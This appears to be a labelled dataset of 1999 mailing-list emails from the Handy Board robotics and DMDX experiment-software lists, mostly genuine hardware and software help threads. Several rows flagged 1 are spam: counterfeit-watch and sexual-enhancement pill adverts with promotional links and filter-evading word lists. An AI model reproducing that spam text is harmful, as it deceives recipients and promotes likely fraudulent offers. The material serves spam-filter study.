of you got infected. Regards - Dave ----- Original Message ----- From: Evil Mechatron To: Faris Gammoh Cc: Handy Board Mailing List ; KwangJu, Lee Sent: Saturday, December 04, 1999 8:32 AM Subject: Suggestions for Virus Management > I'm inclined to agree. These things are not easy to trace. I think > this guy was one of those people who wouldn't process the unsubscribe > correctly. But, honestly, I can't find his name in my records. So > really, I don't know who this guy is, let alone try to get an idea of > whether or not he's ticked-off with our group... > > Recently, I had a virus sent to me by a reputable company. The guy who > sent it to me was somebody I knew enough to trust with an attachment. > His email address book had been compromised when he downloaded > something. After I got the virus, I had to notify everybody that I > correspond with.... > > Frankly, I can relate to Mr. Gammoh's anger. I don't take kindly to my > data/property being vandalized by anyone. This sort of action is the > sort of thing I'm inclined to open a can of whoopass over. These sorts > of things are not easily tracked. It's also like being shafted on the > highway. You can spend hours following someone to exact revenge... or > just let it go. Honestly, it's better to let it go. Upset is what > these people live for... > > > My suggestion: Run virus checks regularly. Back regularly... You're > damned to have to deal with this crap. Unfortunately, there's no law > enforcement in this medium. Actually, I think that would make it > worse. This is a small price to pay to share ideas with people like > yourselves. At least, that's how I see it... > > I am proud to be part of this learning exchange. I feel that I have > benefited greatly from it. My lab has made new business contacts and > grown from the insights that you've all offered. I continue to look > forward to the new things I can learn from all of you... > > Kent > > Faris Gammoh wrote: > > > This is the person I received the email >from,I think all of you will > > confirm the same name.... > > > > > ---------------------------------------------------------------------------- ---- > I'm inclined to agree. These things are not easy to trace. I think this guy was one of those people who wouldn't process the unsubscribe correctly. But, honestly, I can't find his name in my records. So really, I don't know who this guy is, let alone try to get an idea of whether or not he's ticked-off with our group... > Recently, I had a virus sent to me by a reputable company. The guy who sent it to me was somebody I knew enough to trust with an attachment. His email address book had been compromised when he downloaded something. After I got the virus, I had to notify everybody that I correspond with.... > > Frankly, I can relate to Mr. Gammoh's anger. I don't take kindly to my data/property being vandalized by anyone. This sort of action is the sort of thing I'm inclined to open a can of whoopass over. These sorts of things are not easily tracked. It's also like being shafted on the highway. You can spend hours following someone to exact revenge... or just let it go. Honestly, it's better to let it go. Upset is what these people live for... > > > My suggestion: Run virus checks regularly. Back regularly... You're damned to have to deal with this crap. Unfortunately, there's no law enforcement in this medium. Actually, I think that would make it worse. This is a small price to pay to share ideas with people like yourselves. At least, that's how I see it... > > I am proud to be part of this learning exchange. I feel that I have benefited greatly from it. My lab has made new business contacts and grown from the insights that you've all offered. I continue to look forward to the new things I can learn from all of you... > > Kent > > Faris Gammoh wrote: > > This is the person I received the email >from,I think all of you will confirm the same name.... > > > Kwang-Joo Lee > > Artificial Intelligence Lab > Dept. of Computer Engineering > Seoul National University > Seoul 151-742, Korea > Office: 301-417 > Phone: +82-2-880-1835 > Fax: +82-2-875-2240 > Email: kjlee@scai.snu.ac.kr > Personal home page: http://scai.snu.ac.kr/~kjlee > > >",0,1 DaveS ,"William Sitch , Faris Gammoh , Handy Board Mailing List ","Sat, 04 Dec 1999 14:03:26 -0800",Re: Virus,"Hi - Yes very well said -- on top of that HE may have been infected and we were the result of that infection. Sure can't see a guy putting out a virus with his name address phone and photo on it unless he is some really sick sucker! Regards - Dave ----- Original Message ----- From: William Sitch To: Faris Gammoh ; Handy Board Mailing List Cc: KwangJu, Lee Sent: Saturday, December 04, 1999 12:09 AM Subject: RE: Virus > kjleeUh, before anyone starts a witch-hunt, I'd suggest you examine the > headers a little more closely. The message didn't come from this guy. Even > if they did, I still wouldn't send him emails or bother him in any way - > it's too easy to fake headers, spoof posting-servers, or use unsecure relay > hosts. > > The list was hit probably by some script-kiddie. Anyone who runs EXE files > from people they don't know - and when they aren't expecting a file to be > sent - almost deserves the pain of de-virusing. A little common sense, > coupled with a resident virus scanner (McAfee, Norton), is enough to protect > yourself. Remember to update your DAT files regularly. > -- > William Sitch, B.E.Eng (1999) > OCIECE Masters of Electrical Engineering > > -----Original Message----- > From: Faris Gammoh [mailto:fgammo@po-box.mcgill.ca] > Sent: Friday, December 03, 1999 11:29 PM > To: Handy Board Mailing List > Cc: KwangJu, Lee > Subject: Virus > > > > This is the person I received the email from, > I think all of you will confirm the same name.... > > > > > > Kwang-Joo Lee > > > Artificial Intelligence Lab > Dept. of Computer Engineering > Seoul National University > Seoul 151-742, Korea > > Office: 301-417 > Phone: +82-2-880-1835 > Fax: +82-2-875-2240 > Email: kjlee@scai.snu.ac.kr > Personal home page: http://scai.snu.ac.kr/~kjlee > > >",0,1 Kah Mun ,handyboard@media.mit.edu,"Sat, 04 Dec 1999 22:24:05 +0000",strange TS-53 servo problem,"Since the output ports for the motors of the handyboard supplies 11V, i connected a 5V regulator to power my servo. i have a capacitor between the driver's + and - terminals. I looked at the control signal on the oscilloscope. The duration of the pulse is correct, the period of the signal is a about 20ms. the servo just buzzes. one thing i noticed: whenever the ground lead of the oscilloscope is connected to the negative terminal of the motor driver port, the servo spins only in one direction regardless of the duration of the control signal's pulse. i measured the voltage of the negative terminal with respect to ground, it is 1.03V. do i have a grounding problem in addition to the servo problem? here's the code i used: basically the i keep sending a 0.2ms pulse till the stop button is pressed. then a 2.4ms pulse till the button is pressed. then the servo is turned off. void main() { fd(1); servo_a7_init(1); /* activates PortA bit7 that gives the control signal */ while (stop_button()==0) {servo_a7_pulse = 400; /* a pulse with duration 0.2ms */ sleep(0.0198); } while (stop_button()==0) {servo_a7_pulse=4840; /* a pulse with duration 2.4ms */ sleep(0.0176); } ao(); servo_a7_init(0); /* disables port A bit7 */ } ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Sat, 04 Dec 1999 22:47:40 +0000",Re: strange TS-53 servo problem,"Hi ... It sounds as though you are obtaing the power for your servo from the HandyBoard's motor output pins ... and if so, this is the source of your problem. The HB does NOT control motor speed by varying the DC level ... it uses PWM to reduce the average DC level sent to the motors ... and your servo requires a +5V DC source for its power. As a general rule the servo should NOT get its +5v from the same source that powers your microcontroller because the high load imposed by the servo under mechanical load may cause your power source to sag and possible cause a reset. Try using 3 AA or C cells to power your servo, but be certain that the negative end of your batteries is connected to the HandyBoard's ground ... otherwise your servo will still be erratic. If you are using the HB's expansion board, then it supplies the required +5V directly to the servos by using the large diodes to drop the voltage to a value that is okay for the servos (they like from 4.8 to 6.0V for their power). Good luck, - Nick - Kah Mun wrote: > > Since the output ports for the motors of the handyboard supplies > 11V, i connected a 5V regulator to power my servo. i have a capacitor between > the driver's + and - terminals. I looked at the control signal on the > oscilloscope. The duration of the pulse is correct, the period of the signal is > a about 20ms. the servo just buzzes. > > one thing i noticed: whenever the ground lead of the oscilloscope > is connected to the negative terminal of the motor driver port, the servo > spins only in one direction regardless of the duration of the control > signal's pulse. i measured the voltage of the negative terminal with > respect to ground, it is 1.03V. > > do i have a grounding problem in addition to the servo problem? > > here's the code i used: basically the i keep sending a 0.2ms pulse till the > stop button is pressed. then a 2.4ms pulse till the button is pressed. then the > servo is turned off. > > void main() > { > fd(1); > servo_a7_init(1); /* activates PortA bit7 that gives the control signal */ > > while (stop_button()==0) > {servo_a7_pulse = 400; /* a pulse with duration 0.2ms */ > sleep(0.0198); > } > > while (stop_button()==0) > {servo_a7_pulse=4840; /* a pulse with duration 2.4ms */ > sleep(0.0176); > } > > ao(); > servo_a7_init(0); /* disables port A bit7 */ > > } ",0,0 Ensio Tammi ,handyboard@media.mit.edu,"Sun, 05 Dec 1999 07:50:13 +0000",IC Technical Support problem,"Hi! I bought my first handyboard in mid October and a Rug Warrior Pro in early November. And since I have had this peculiar download problem with the IC 3.2, pcode will download without any problems but everytime after downloading the lib files, IC will report a sync error. What makes it so odd is that I can download everything with the 2.81 version. I'm using a Win98 Toshiba Portege 7010 laptop as a host computer. I have reported this to the IC Technical Support and they have replied that it's not the problem with the IC 3.2 rather with the laptop and I should use some other computer. I tested the IC 3.2 in high speed NT workstation and it really worked there. No sync errors. (But I can't use this computer for my hobbies, and for mobile robots laptop is anyway the only proper host environment). OK. I agree there are some differences between the Toshiba and NT workstation serial ports (although all the settable parameters had the same values). But my point is that how can then the IC 2.81 operate in the Toshiba laptop without any sync errors? Also, I haven't had any problems using for example external modem, Psion and Palm sync programs trough the same serial port. And finally, I received few days ago the BasicX-24 development kit and it works also very smoothly, no serial problems whatsoever (and it's fast). So it seems that all other programs but IC can tolerate the minor differences with serial communication in different computers. But what I'm really complaining is that there has been now 10 days since I send my last message to the Technical Support, and described the latest situation, but they haven't replied anything sofar. If the IC 3.2 were a freeware, the situation would be understandable but I have paid for the IC 3.2 and they ought to have better response times. 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I have checked in the list archive and found no answer to this problem, the worst of this case is that I don't find nothing to explain this. For all this I hope someone of You have an idea to share about this problem. Thank You, José Luis ",0,0 Kah Mun ,handyboard@media.mit.edu,"Mon, 06 Dec 1999 05:21:37 +0000",IR files and sensors," Two question i have: 1. On the Handyboard webpage, there're the files for the IR Remote Control software. it's a little long and complicated. i'm purely interested in activating the output ports and modulating it to transmit the 40khz signal and detecting the received signal for proximity sensing. do you know where i can obtain that library file? also, can i plug the IR LED directly into the ports or do i need some current limiting resistor of some value? 2. does anybody know of a reasonably priced, pinpoint, reflective IR LED/sensor pair with short On-Off time and does not need to be very close to the surface? km ",0,0 Kah Mun ,handyboard@media.mit.edu,"Mon, 06 Dec 1999 08:38:59 +0000",Stepper motor," Does anybody know whether it is advisable to control a 24VDC stepper motor using the handyboard's motor outputs (11V)? also, what's the maximum phase current the motor can have to be compatible with the handyboard? ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Mon, 06 Dec 1999 12:14:24 +0000",[DMDX] PCI card problem,"Hi. Has anyone had a problem getting a PCI I/O card working properly. I can't seem to get it working. My intuition is that it is something to do with setting the base address. I can't find out how to do that with the set up software that came with the card. The card is Keithley KPCI-PIO24 Thanks Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 Florent Gilles ,handyboard@media.mit.edu,"Mon, 06 Dec 1999 10:27:04 +0000",Re: Another chance for the LM35,"In lugnet.robotics.handyboard, ""Jose Luis De Filpo"" writes: >Hi, > >I'm again trying to connect the LM35 from National, there was some posts in >the list, but none of that solve my problem. [...]but the reading of the >port gives a fix value of aprox. 170 (340 0C, well the clime is not so hot >here). Well, di you try to put an Operational Amplifier mounted in voltage following? +Vcc --- Op. Amp. | *-------* LM 35 O------|+ Vin | | | Vout|--\\----- To 68HC11 Analog Port --- /-|- Vin | | GND \\\\\\ | *-------* | \\------------/ Florent",0,0 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Mon, 06 Dec 1999 12:49:03 +0000",[DMDX] Re: PCI card problem,"At 12:14 06/12/99 +0000, you wrote: >Hi. Has anyone had a problem getting a PCI I/O card working properly. I >can't seem to get it working. My intuition is that it is something to do >with setting the base address. I can't find out how to do that with the >set up software that came with the card. > >The card is Keithley KPCI-PIO24 > >Thanks Hi Mike, I think that there are switches on the surface of the card that you use to set the base address. There should be a description of what switch does what in the documentation. Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#621) Fax: 01223 359 062 **************************************************** ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Dec 1999 09:01:19 -0700",[DMDX] Re: PCI card problem,"At 12:14 PM 12/6/99 +0000, you wrote: >Hi. Has anyone had a problem getting a PCI I/O card working properly. I >can't seem to get it working. My intuition is that it is something to do >with setting the base address. I can't find out how to do that with the >set up software that came with the card. > >The card is Keithley KPCI-PIO24 You can always specify the base address of the card in TimeDX. TimeDX's default is 0x310 however the card's is 0x300 so changing TimeDX's PIO address to 0x300 should do the trick. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Pay no attention to the man behind the curtain."" - The Wizard Of Oz ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Dec 1999 09:10:21 -0700",[DMDX] Re: Scrambling without changing the block order,"At 03:52 PM 12/6/99 +0000, you wrote: >Is the backslash included in DMDX V1.1.11? If so, what's the syntax that we >need to use to get this working? > >I've attached a short sample script underneath. Looks good to me and the backslash is indeed what you need to use. What is the error that occurs on the line afterwards? Illegal character or switch perhaps? My guess is that there are trailing spaces after the backslash -- in order to stop scramble picking up backslashes in file names the backslash has to be at the beginning of a line and IIRC have no spaces after it. Perhaps you've go some silly RTF stuff going on, you might want to look at the the raw RTF codes too see what's happening. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Pay no attention to the man behind the curtain."" - The Wizard Of Oz ",0,0 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Mon, 06 Dec 1999 17:13:38 +0000",[DMDX] Re: Scrambling without changing the block order,"At 09:10 06/12/99 -0700, you wrote: >At 03:52 PM 12/6/99 +0000, you wrote: > >>Is the backslash included in DMDX V1.1.11? If so, what's the syntax that we >>need to use to get this working? >> >>I've attached a short sample script underneath. > > Looks good to me and the backslash is indeed what you need to use. What >is the error that occurs on the line afterwards? Illegal character or >switch perhaps? My guess is that there are trailing spaces after the >backslash -- in order to stop scramble picking up backslashes in file names >the backslash has to be at the beginning of a line and IIRC have no spaces >after it. Perhaps you've go some silly RTF stuff going on, you might want >to look at the the raw RTF codes too see what's happening. > Well spotted - I got rid of leading and trailing spaces around the back-slash and it worked fine. Thanks for that. I'll pass on the information about backslashes to Mike Ford for his tips page. Cheers, Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#621) Fax: 01223 359 062 **************************************************** ",0,0 Florian Wolf ,DMDX@psy1.psych.arizona.edu,"Mon, 06 Dec 1999 19:17:48 +0100",[DMDX],"Hello, This might be especially relevant to DMDX-users (especially ""newcomers"" like me) who are not using the English version of Windows (e.g., I have a German version of Windows). At first, when I tried the ""tachtest.rtf""-task from the demo files, my computer kept crashing. Jonathan and Kenneth Forster then told me that the problem might be solved by specifying keys or mouse buttons for positive / negative Response and for Request, request positive response negative response Importantly, the names of the keys or buttons have to be exactly like they show in the TimeDX-input-test. The same holds for the input device, specified by Thus, e.g. if you have a German version of Windows (like in my case), the input device, key and button names will be in German in the TimeDX-input-test. Then they also have to be in German in the DMDX control file. After I entered these lines into the ""tachtest.rtf""-file, everything worked just fine. I'd like to thank Jonathan and Kenneth Forster for their help. Regards, Florian",0,0 Mordehai Paredes ,handyboard@media.mit.edu,"Mon, 06 Dec 1999 09:48:35 -0500",The REAL Diet Deal,"in clink may correspond see affiance ! bronze may fortescue ",1,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Dec 1999 14:58:21 -0700",[DMDX] 1.1.13,"I've just released DMDX 1.1.13 that has a check in it to catch these non-english language versions of win32 that don't have a device named ""keyboard"", hopefully they will now throw an error message prompting the user to specify whatever the keyboard's name is and to map response keys for it. If someone would test this for me with an itemfile that contains no I'd be obliged. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Law of Probable Dispersal: Whatever it is that hits the fan will not be evenly distributed.",0,0 Matthew Chung ,DMDX@psy1.psych.arizona.edu,"Tue, 07 Dec 1999 08:52:55 +0800",[DMDX] Re: 1.1.13,"I have try DMDX 1.1.13 on Chinese win98 and on TimeDX the input device mouse and keyboard were test OK, but their name are in chinese not english. The PC detail were CPU AMD K2 300MHz Tradition Chinese Win98 system DMDX version 1.1.13 Directx 7 english version download from DMDX The itemfile without used f50 =1 ""fwdmask"" %10 / ""target"" %2 /* ""make a response""/c; =2 ""fwdmask"" %10 / ""target"" %2 /* ""make a response""/c; 0 ""Test Mode 1¨ / /c; =3 ""fwdmask"" %10 / ""target"" %2 /* ""make a response""/c; =4 ""fwdmask"" %10 / ""target"" %2 /* ""make a response""/c; 0 ""end¨ l; Result:(prompt by an error message box) ""No default KEYBOARD input device found, manual specification of it's name and reponse key is required"" Also in DMDX syntax check report ""Input Device selection failed"" The itemfile with :(jfc the id's name below mean ""keyboard"" in Chinese) f30 =1 ""fwdmask"" %10 / ""target"" %2 /* ""make a response""/c; =2 ""fwdmask"" %10 / ""target"" %2 / * ""make a response""/c; 0 ""Test Mode 1¨ / /c; =3 ""fwdmask"" %10 / ""target"" %2 / * ""make a response""/c; =4 ""fwdmask"" %10 / ""target"" %2 / * ""make a response""/c; 0 ""end¨ l; Result:(no prompt message) DMDX syntax check no error report under continu mode (/c) all item were show with message ""CORRECT 4000"" on each frame. Without continu mode I can't go on as the keyboard show no response. At 02:58 PM 1999/12/6 -0700, you wrote: > > I've just released DMDX 1.1.13 that has a check in it to catch these >non-english language versions of win32 that don't have a device named >""keyboard"", hopefully they will now throw an error message prompting the >user to specify whatever the keyboard's name is and to map response keys >for it. If someone would test this for me with an itemfile that contains >no I'd be obliged. > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > >Law of Probable Dispersal: > Whatever it is that hits the fan will not be evenly >distributed. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > >",0,1 Mack Schroeder ,Kristy ,"Mon, 06 Dec 1999 20:51:49 -0400",Re [1]: ," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. Lange & Sohne :: Audemars Piguet :: Jaeger-Lecoultre :: IWC :: Officine Panerai Breitling :: Omega :: Tag Heuer Exapmle: ROLEX Full 18K Gold Daytona for MEN - only $269! - Fast delivery - The lowest prices in the world - Worldwide shipping Visit our shop at: http://131.rapstarisalive.com ",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 07 Dec 1999 09:16:59 -0700",[DMDX] Re: 1.1.13,"At 08:52 AM 12/7/99 +0800, you wrote: >DMDX syntax check no error report >under continu mode (/c) all item were show with message ""CORRECT 4000"" on >each frame. Without continu mode I can't go on as the keyboard show no >response. The idea is that you have to specify both the name of the input device and the names of the keys that are to be used as request keys and response keys ( and so on) if you don't have the standard english names for them. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trying to be happy is like trying to build a machine for which the only specification is that it should run noiselessly.",0,0 Wayne Murray ,DMDX@psy1.psych.arizona.edu,"Tue, 07 Dec 1999 16:24:02 +0000",[DMDX],"Has anybody tried self-paced reading with DMDX - or indeed any other form of response contingent display? Versions of this that would work under Dmastr seem to no longer operate and indeed I've been unable to get any form of response contingency to work with DMDX (without it falling over later in the item or on the start of the next one) and wondered if anybody else has had success. Thanks, Wayne ------------------------------------------------------------------------- From: Wayne Murray Email: w.s.murray@dundee.ac.uk Department of Psychology Phone: (+44) (1382) 344620 (direct) University of Dundee Or: (+44) (1382) 344623 (messages) Scotland DD1 4HN Fax: (+44) (1382) 229993 ------------------------------------------------------------------------- ",0,0 Kar-Wing Chan ,handyboard@media.mit.edu,"Tue, 07 Dec 1999 10:40:19 -0600",synchronization error,"I'm encountering a synchronization error when calling serial_putchar within a for loop. Here's my code: void test(){ int looper; for (looper=0;looper<16;looper++){ if (looper<7){ serial_putchar(analog(looper)); printf(""\\nPort: %d Value: %d"",looper,analog(looper)); } else{ serial_putchar(digital(looper)); printf(""\\nPort: %d Value: %d"",looper,digital(looper)); } } } It crashes after displaying the third port. I've done the serial loopback test and it works fine. Here's the error message in interactive C: Downloading 6 bytes (addresses C200-C205): 6 loaded Board synchronization error: sent 114, received 73 Board synchronization error: sent 114, received 255 I'm using Windows NT 4.0, service pack 5 and IC version 3.2 Please help. Thank you, Kar-Wing",0,0 Bill Bynum ,handyboard@media.mit.edu,"Tue, 07 Dec 1999 16:41:01 -0500",Excessive clutziness when replacing the NiCad battery pack,"Hello, everyone: I'm having problems when I replace the HandyBoard's NiCad battery. I have probably replaced around 10 battery packs by now on different HandyBoards. On 4 or 5 of the replacements, I end up having to replace the 74HC373 latch, sometimes the 373 AND the memory, and on one occasion, the 373, the memory, AND the CPU. I disconnect the old battery from the leads soldered into the HandyBoard, plus lead first, then the negative. I leave the other ends of the two leads soldered into the HandyBoard. Yes, I realize that this is opposite to the way that Fred Martin tells us to attach the battery on original assembly, but once the HandyBoard is built, I hate to tamper with the board any more than I have to. I especially don't like to have to replace the 74HC373 latch, hence my posting! I solder the leads to the new battery in the reverse order, negative first, then the positive. The 373 gets destroyed in those times when I end up fumbling around with the positive lead, trying to poke it through the hole in the battery (shakey hands due to advanced age, I suppose). I suspect that this fumbling is causing a high enough transient voltage to ruin the 373. Do any of you have any tips for me? Is there a better way to swap HandyBoard batteries than I'm using? Thanks in advance for your advice. Bill Bynum ",0,0 Jan Liphardt ,handyboard@media.mit.edu,"Tue, 07 Dec 1999 14:00:24 -0800",Piezo Rate Gyro and HB,"Hi, FYI, it is possible (and indeed pretty easy) to attach a small piezo rate gyro to the HB. I used the hitec GY-130 (availible for about 100$ from Tower Hobbies). It modifies a PWM signal - the pulse width increases or decreases depending on the rate of rotation around the gyro axis. I used one servo port on the extension board to provide the PWM signal: init_expbd_servos(action) ; /*initialize servos*/ pos_servo_0 = 1500; /* 0 to 3000 are valid */ and measured the pulse width with TIC3: while(1) { temp = gyro_sample(); if((temp < 5000) && (temp > 100)) {printf(""gyro rate: %d\\n"",temp)} sleep(0.1); } int gyro_sample() { int start_pulse; int end_pulse; int TFLG1 = 0x1023; /* Timer flags, 8-bit reg*/ int TMSK1= 0x1022; /* Timer Interrupt Masks, 8-bit reg*/ int TCTL2 = 0x1021; /* Timer control 2, 8-bit reg, interupt edge*/ bit_set(TCTL2, 1); /* at tctl2, */ bit_clear(TCTL2, 2); /* set tic3 for rising edge */ poke(TFLG1, 1); /* clear tic3 flag */ while (!(peek(0x1000) & 0x1)) { /*do nothing*/; } start_pulse = peekword(0x1014); /* tic3 has time of echo */ bit_set(TCTL2, 2); /* at tctl2, */ bit_clear(TCTL2, 1); /* set tic3 for falling edge */ poke(TFLG1, 1); /* clear tic3 flag*/ while (peekword(0x1014) == start_pulse){ /*do nothing until 0x1014 actually changes*/; } end_pulse = peekword(0x1014); /* tic3 has time of echo */ if ((end_pulse <0) && (start_pulse < 0 )) { return (end_pulse + (- start_pulse));} if ((end_pulse > 0) && (start_pulse > 0 )) { return(end_pulse - start_pulse); } if ((end_pulse <0) && (start_pulse > 0)) {return( (32767 + end_pulse) + (32767 - start_pulse) );} if ((end_pulse >0) && (start_pulse < 0 )) {return ( (end_pulse) + (- start_pulse) ); } } Sorry about the terrible code - I've only had my HB since yesterday! It does work, though. Jan Jan Liphardt Dept. of Physics UC Berkeley (510) 642 1440",0,0 Nick Taylor ,handyboard@media.mit.edu,"Tue, 07 Dec 1999 23:46:16 +0000",Re: Excessive clutziness when replacing the NiCad battery pack,"Hello Bill ... Here is what I've done on both of my HandyBoards and it's given good results. Cut the leads between the board and the battery pack and add 2-pin polarized connectors. Good luck and have fun, - Nick - Bill Bynum wrote: > > Hello, everyone: > > I'm having problems when I replace the HandyBoard's NiCad battery. > I have probably replaced around 10 battery packs by now on different > HandyBoards. On 4 or 5 of the replacements, I end up having to > replace the 74HC373 latch, sometimes the 373 AND the memory, and > on one occasion, the 373, the memory, AND the CPU. > > I disconnect the old battery from the leads soldered into the > HandyBoard, plus lead first, then the negative. I leave the other > ends of the two leads soldered into the HandyBoard. Yes, I realize > that this is opposite to the way that Fred Martin tells us to attach > the battery on original assembly, but once the HandyBoard is built, > I hate to tamper with the board any more than I have to. I especially > don't like to have to replace the 74HC373 latch, hence my posting! > > I solder the leads to the new battery in the reverse order, > negative first, then the positive. > > The 373 gets destroyed in those times when I end up fumbling > around with the positive lead, trying to poke it through the hole > in the battery (shakey hands due to advanced age, I suppose). > I suspect that this fumbling is causing a high enough transient > voltage to ruin the 373. > > Do any of you have any tips for me? Is there a better way to > swap HandyBoard batteries than I'm using? > > Thanks in advance for your advice. > > Bill Bynum ",0,0 Matthew Chung ,DMDX@psy1.psych.arizona.edu,"Wed, 08 Dec 1999 07:29:17 +0800",[DMDX] Re: 1.1.13,"> The idea is that you have to specify both the name of the input device >and the names of the keys that are to be used as request keys and response >keys ( and so on) if you don't have the standard english names for them. It work Dr-jonathan The itemfile is below: f30 +1 ""fwdmask"" %10 / ""target"" %2 /* ""make a response""/; +2 ""fwdmask"" %10 / ""target"" %2 / * ""make a response""/; 0 ""Test Mode 1¨ / /; -3 ""fwdmask"" %10 / ""target"" %2 / * ""make a response""/; -4 ""fwdmask"" %10 / ""target"" %2 / * ""make a response""/; 0 ""end¨ l; But one problem is on the parameter line, if I use: f30 the negative-response key and positive-response key do not response except the REGUEST key, therefore I change the keys as and then it work... I always think DMDX do not work on Chinese Windows, Does the above mean it can? Matthew",0,0 Emily Land ,Jordan ,,Fwd: WARNING," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. Lange & Sohne :: Audemars Piguet :: Jaeger-Lecoultre :: IWC :: Officine Panerai Breitling :: Omega :: Tag Heuer Exapmle: ROLEX Full 18K Gold Daytona for MEN - only $269! - Fast delivery - The lowest prices in the world - Worldwide shipping Visit our shop at: http://131.extrafriez.com ",1,1 Kah Mun ,handyboard@media.mit.edu,"Wed, 08 Dec 1999 04:41:49 +0000",H-bridge chips,"1. Two quick question, when i type 'ps' at the C prompt, i always get the following: PID STAT PC SP ORG Tricks Executing 1 20 c200 fe01 fe00 10 is that there becoz Interactive C is running or is that something else? 2. my handyboard already has the TI SN 754410NE H-bridge chip which combines the attributes of the L293D and L293B. i need to be able to drive about 1.4A per motor output. is there a chip with that current capacity which can replace the one i have? what are my other options? can i put 2 of those chips in parallel to double the current capacity? reply soon. kah mun",0,0 Lynn Bingham ,DMDX@psy1.psych.arizona.edu,"Wed, 08 Dec 1999 03:39:39 +0200",Re [22]: ,"-Icrease Your Sexual Desire and Sperm volume by 500% -Longer orgasms - The longest most intense orgasms of your life -Rock hard erections - Erections like steel -Ejaculate like a porn star - Stronger ejaculation -Multiple orgasms - Cum again and again -SPUR-M is The Newest and The Safest Way of Pharmacy -100% Natural and No Side Effects - in contrast to well-known brands. -Experience three times longer orgasms -World Wide shipping within 24 hours Clisk here http://read4me.net defensive deferral periwinkle punctuate flatbed tectonic mediate blue frances edit extension checkerboard clotheshorse whatnot vaccine declination investigate wherewithal augean adrenaline calibre shrink supply monomeric anaconda incubi uri molybdenum bacteria coquette calhoun glimpse stratford quay connivance transplant armonk gaelic copernicus pinhead hatred brother breadroot skywave anaglyph carport diabolic pemmican sloe emmanuel tower adler birdbath bug ",1,1 Bill Bynum ,handyboard@media.mit.edu,"Wed, 08 Dec 1999 09:23:16 -0500",Re: Excessive clutziness when replacing the NiCad battery,"Hello, everyone: Many thanks to Chuck McManis and Nick Taylor for posting the simple and elegant solution to my problem: install an inline plug Gee, I wish that I had thought of that!. Thanks for the help. Bill Bynum ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 08 Dec 1999 09:44:49 -0700",[DMDX] Re: 1.1.13,"At 07:29 AM 12/8/99 +0800, you wrote: >I always think DMDX do not work on Chinese Windows, Does the above mean it >can? Yes. If you feed it the chinese names for your shift keys as the TimeDX input device test enumerates them. You also want , not as that binds the positive response to the release of the key as opposed to it's depression. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trying to be happy is like trying to build a machine for which the only specification is that it should run noiselessly.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 08 Dec 1999 09:47:22 -0700",[DMDX] Re: DMDX clips WAV files,"At 11:58 AM 12/8/99 +0000, you wrote: >This interacts in some way with frame duration as set in the parameter line >altering the amount clipped although we have not been able to work out >exactly what this is doing. Of course it does, DMDX is tied to the refresh interval, always, regardless of whether it's displaying audio or visual stimuli. How would it work otherwise? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trying to be happy is like trying to build a machine for which the only specification is that it should run noiselessly. ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Wed, 08 Dec 1999 15:16:21 +0000",Re: Excessive clutziness when replacing the NiCad battery,"Bill ... For spare batteries, take a look at B.G.Micro's BAT1024. They are two AA cells in series, 800mAh ... 10 batteries (20 cells) for US$5.95. I've made several spare HandyBoard battery packs using these cells ... and they all work great. http://www.bgmicro.com/ Good luck and have fun, - Nick - Bill Bynum wrote: > > Hello, everyone: > > Many thanks to Chuck McManis and Nick Taylor for posting the > simple and elegant solution to my problem: install an inline plug > > Gee, I wish that I had thought of that!. > > Thanks for the help. > > Bill Bynum ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 08 Dec 1999 11:21:05 -0700",[DMDX] Re: DMDX clips WAV files,"At 09:47 AM 12/8/99 -0700, you wrote: >At 11:58 AM 12/8/99 +0000, you wrote: > >>This interacts in some way with frame duration as set in the parameter line >>altering the amount clipped although 